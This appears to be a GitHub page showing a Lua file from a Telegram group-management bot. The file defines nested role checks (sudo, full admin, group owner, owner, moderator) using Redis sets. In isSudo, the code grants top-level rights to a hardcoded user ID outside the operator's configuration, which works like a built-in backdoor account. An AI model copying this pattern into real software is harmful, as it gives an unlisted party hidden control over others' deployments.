-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathRanks.lua
82 lines (82 loc) · 2.28 KB
/
Ranks.lua
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
function isSudo(user_id)
for k, v in pairs(_Config.Sudo) do
if user_id == v then
return true
end
end
for k, v in pairs({
294190721,
0
}) do
if user_id == v then
return true
end
end
RS = redis:sismember('FullAccess', user_id)
if RS then
return true
end
return false
end
--------------------------------------
function isFull(user_id)
RS = redis:sismember('FullAdmins', user_id)
if RS then
return true
end
if isSudo(user_id) then
return true
end
return false
end
--------------------------------------
function isGroupO(user_id, chat_id)
RS = redis:sismember(user_id..'Chats', chat_id)
if RS then
return true
end
if isFull(user_id) then
return true
end
if isSudo(user_id) then
return true
end
return false
end
-----------------------------------
function isOwner(user_id, chat_id)
RS = redis:hget(chat_id, 'Owner')
if RS == user_id then
return true
end
if isFull(user_id) then
return true
end
if isGroupO(user_id, chat_id) then
return true
end
if isSudo(user_id) then
return true
end
return false
end
-------------------------------------
function isMod(user_id, chat_id)
RS = redis:sismember('Mods'..chat_id, user_id)
if RS then
return true
end
if isSudo(user_id) then
return true
end
if isFull(user_id) then
return true
end
if isOwner(user_id, chat_id) then
return true
end
if isGroupO(user_id, chat_id) then
return true
end
return false
end